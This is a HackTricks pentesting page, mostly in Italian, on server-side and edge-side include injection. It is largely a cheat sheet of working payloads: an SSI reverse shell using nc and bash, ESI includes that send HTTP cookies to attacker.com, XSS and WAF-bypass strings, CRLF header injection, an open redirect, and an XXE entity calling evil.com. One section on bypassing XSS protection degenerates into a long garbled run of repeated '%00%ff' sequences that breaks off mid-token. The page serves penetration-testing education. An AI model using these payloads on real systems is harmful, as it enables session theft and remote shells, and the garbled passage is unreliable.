hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
2024-02-10 13:03:23 +00:00

283 lines
18 KiB
Markdown

# Iniezione di inclusione lato server/lato bordo
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Informazioni di base sull'inclusione lato server
**(Introduzione tratta dalla [documentazione di Apache](https://httpd.apache.org/docs/current/howto/ssi.html))**
SSI (Server Side Includes) sono direttive che vengono **inserite nelle pagine HTML e valutate sul server** mentre le pagine vengono servite. Consentono di **aggiungere contenuti generati dinamicamente** a una pagina HTML esistente, senza dover servire l'intera pagina tramite un programma CGI o un'altra tecnologia dinamica.\
Ad esempio, è possibile inserire una direttiva in una pagina HTML esistente, come:
`<!--#echo var="DATE_LOCAL" -->`
E, quando la pagina viene servita, questo frammento verrà valutato e sostituito con il suo valore:
`Martedì, 15-gen-2013 19:28:54 EST`
La decisione su quando utilizzare SSI e quando generare completamente la pagina tramite un programma dipende solitamente da quanto la pagina è statica e quanto deve essere ricalcolata ogni volta che la pagina viene servita. SSI è un ottimo modo per aggiungere piccoli pezzi di informazioni, come l'ora corrente - mostrata sopra. Ma se la maggior parte della pagina viene generata al momento del servizio, è necessario cercare un'altra soluzione.
È possibile inferire la presenza di SSI se l'applicazione web utilizza file con le estensioni \*\* `.shtml`, `.shtm` o `.stm`\*\*, ma non è l'unico caso.
Un'espressione SSI tipica ha il seguente formato:
```
<!--#directive param="value" -->
```
### Verifica
To check for Server-Side Inclusion (SSI) and Edge-Side Inclusion (ESI) Injection vulnerabilities, you can follow these steps:
1. **Identify the target**: Determine the target website or application that you want to test for SSI or ESI Injection vulnerabilities.
2. **Inspect the source code**: Analyze the source code of the target to identify any potential SSI or ESI injection points. Look for server-side scripting languages like PHP, ASP, or JSP, as well as any ESI tags or directives.
3. **Test for SSI Injection**: Inject SSI directives into user-controllable input fields, such as URL parameters or form inputs, to see if they are processed by the server. Use SSI directives like `<!--#include virtual="file.txt" -->` to include external files or execute commands.
4. **Test for ESI Injection**: Inject ESI tags into user-controllable input fields, such as URL parameters or form inputs, to see if they are processed by the server. Use ESI tags like `<esi:include src="http://attacker.com/malicious.xml" />` to include external content or execute commands.
5. **Observe the response**: Analyze the server's response to determine if the injected SSI or ESI directives are executed. Look for any changes in the rendered page or any error messages that indicate successful injection.
6. **Exploit the vulnerability**: If the SSI or ESI injection is successful, try to escalate the attack by including sensitive files, executing commands, or accessing restricted resources.
7. **Report and mitigate**: Document your findings and report them to the appropriate parties. Provide recommendations for mitigating the vulnerabilities, such as input validation and output encoding.
By following these steps, you can effectively test for SSI and ESI Injection vulnerabilities and help secure web applications against these types of attacks.
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
```
## Inclusione lato server
C'è un problema nella **memorizzazione nella cache delle informazioni o delle applicazioni dinamiche**, poiché parte del contenuto potrebbe variare per la prossima volta in cui viene richiesto. Questo è ciò per cui viene utilizzato **ESI**, per indicare utilizzando i tag ESI il **contenuto dinamico che deve essere generato** prima di inviare la versione in cache.\
Se un **attaccante** è in grado di **iniettare un tag ESI** all'interno del contenuto in cache, allora potrebbe essere in grado di **iniettare contenuti arbitrari** nel documento prima che venga inviato agli utenti.
### Rilevamento di ESI
Il seguente **header** in una risposta dal server indica che il server sta utilizzando ESI:
```
Surrogate-Control: content="ESI/1.0"
```
Se non riesci a trovare questa intestazione, il server potrebbe comunque utilizzare ESI.\
Un approccio di sfruttamento cieco può essere utilizzato poiché una richiesta dovrebbe arrivare al server degli attaccanti:
```javascript
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
```
### Sfruttamento di ESI
[GoSecure ha creato](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) una tabella per comprendere gli attacchi possibili che possiamo provare su diversi software compatibili con ESI, a seconda delle funzionalità supportate:
* **Includes**: Supporta la direttiva `<esi:includes>`
* **Vars**: Supporta la direttiva `<esi:vars>`. Utile per bypassare i filtri XSS
* **Cookie**: I cookie del documento sono accessibili al motore ESI
* **Upstream Headers Required**: Le applicazioni surrogate non elaboreranno le istruzioni ESI a meno che l'applicazione upstream non fornisca gli header
* **Host Allowlist**: In questo caso, gli ESI include sono possibili solo da server host consentiti, rendendo ad esempio possibile solo SSRF contro questi host
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Sì | Sì | Sì | Sì | No |
| Varnish Cache | Sì | No | No | Sì | Sì |
| Fastly | Sì | No | No | No | Sì |
| Akamai ESI Test Server (ETS) | Sì | Sì | Sì | No | No |
| NodeJS esi | Sì | Sì | Sì | No | No |
| NodeJS nodesi | Sì | No | No | No | Opzionale |
#### XSS
La seguente direttiva ESI caricherà un file arbitrario all'interno della risposta del server
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### Bypassare la protezione XSS del client
In alcuni casi, potrebbe essere necessario bypassare la protezione XSS del client per eseguire un attacco di injection. Di seguito sono riportati alcuni metodi comuni per farlo:
1. **Utilizzo di caratteri speciali**: prova ad utilizzare caratteri speciali come `<`, `>`, `&`, `"`, `'`, `(`, `)`, `;`, `+`, `-`, `*`, `/`, `=`, `!`, `@`, `#`, `$`, `%`, `^`, `&`, `*`, `~`, `|`, `{`, `}`, `[`, `]`, `:`, `,`, `.`, `?`, `|`, `\\`, `//`, `/*`, `*/`, `--`, `#`, `--!`, `--#`, `--//`, `--/*`, `--%0a`, `--%0d`, `--%09`, `--%0b`, `--%0c`, `--%a0`, `--%20`, `--%0`, `--%00`, `--%0%00`, `--%00%0`, `--%00%00`, `--%00%09`, `--%00%20`, `--%00%0a`, `--%00%0d`, `--%00%0b`, `--%00%0c`, `--%00%a0`, `--%00%ff`, `--%00%ff%00`, `--%00%ff%00%ff`, `--%00%ff%00%ff%00`, `--%00%ff%00%ff%00%ff`, `--%00%ff%00%ff%00%ff%00`, `--%00%ff%00%ff%00%ff%00%ff`, `--%00%ff%00%ff%00%ff%00%ff%00`, `--%00%ff%00%ff%00%ff%00%ff%00%ff`, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00`, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff`, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00`, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff`, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00`, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff`, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00`, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff`, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00`, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff`, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00`, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff`, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
```
#### Rubare i Cookie
* Rubare i cookie in remoto
```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
* Rubare il cookie HTTP\_ONLY con XSS riflettendolo nella risposta:
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
```
#### File Locale Privato
Non confondere questo con una "Inclusione di File Locale":
```markup
<esi:include src="secret.txt">
```
#### CRLF
CRLF (Carriage Return Line Feed) è una sequenza di caratteri utilizzata per rappresentare il ritorno a capo di una riga in molti sistemi operativi. È composta da due caratteri: il carattere di ritorno a capo (CR) e il carattere di avanzamento riga (LF).
Nel contesto della sicurezza informatica, CRLF può essere sfruttato per condurre attacchi di injection. Questi attacchi sfruttano la vulnerabilità di un'applicazione web che non gestisce correttamente i caratteri di ritorno a capo e avanzamento riga.
Un attacco di CRLF injection può consentire a un attaccante di iniettare caratteri speciali nella risposta HTTP, come ad esempio l'inserimento di intestazioni HTTP dannose o la modifica del corpo della risposta. Questo può portare a una serie di conseguenze, come il furto di credenziali, l'esecuzione di codice malevolo o il dirottamento dell'utente su un sito web dannoso.
Per proteggersi dagli attacchi di CRLF injection, è importante validare e filtrare correttamente gli input dell'utente, evitando l'inclusione di caratteri di ritorno a capo e avanzamento riga non desiderati nelle risposte HTTP.
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Reindirizzamento aperto
Il seguente aggiungerà un'intestazione `Location` alla risposta
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
#### Aggiungi Intestazione
* Aggiungi un'intestazione nella richiesta forzata
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
* Aggiungi l'intestazione nella risposta (utile per aggirare "Content-Type: text/json" in una risposta con XSS)
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF in Aggiungi intestazione (**CVE-2019-2438)**
##### Description:
CRLF (Carriage Return Line Feed) injection is a vulnerability that allows an attacker to inject malicious headers into HTTP responses. This can lead to various attacks, such as HTTP response splitting, cache poisoning, and cross-site scripting (XSS).
##### Exploitation:
To exploit this vulnerability, an attacker needs to identify a vulnerable application that allows user-controlled input to be included in HTTP headers. The attacker can then inject CRLF characters (%0D%0A) into the input, causing a new line to be added to the header.
For example, if the application includes user-controlled input in the "User-Agent" header, the attacker can inject a CRLF sequence to create a new header. This can be used to perform HTTP response splitting attacks, where the attacker can control the content of the response or inject malicious scripts.
##### Prevention:
To prevent CRLF injection attacks, it is important to properly validate and sanitize user-controlled input before including it in HTTP headers. This can be done by removing or encoding any CRLF characters in the input.
Additionally, web application firewalls (WAFs) can be used to detect and block CRLF injection attempts. Regular security testing and code reviews can also help identify and fix any vulnerabilities that could lead to CRLF injection.
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai debug
Questo invierà informazioni di debug incluse nella risposta:
```xml
<esi:debug/>
```
### ESI + XSLT = XXE
Specificando il valore `xslt` per il parametro _dca_, è possibile includere ESI basato su **`eXtensible Stylesheet Language Transformations (XSLT)`**. L'inclusione fa sì che il surrogato HTTP recuperi i file XML e XSLT, con quest'ultimo che filtra il primo. Tali file XML sono vulnerabili agli attacchi _XML External Entity (XXE)_, consentendo agli attaccanti di eseguire attacchi SSRF. Tuttavia, l'utilità di questo approccio è limitata poiché le inclusioni ESI già fungono da vettore SSRF. A causa dell'assenza di supporto nella libreria Xalan sottostante, i DTD esterni non vengono elaborati, impedendo l'estrazione di file locali.
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
File XSLT:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Controlla la pagina XSLT:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}
### Riferimenti
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
## Lista di rilevamento Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>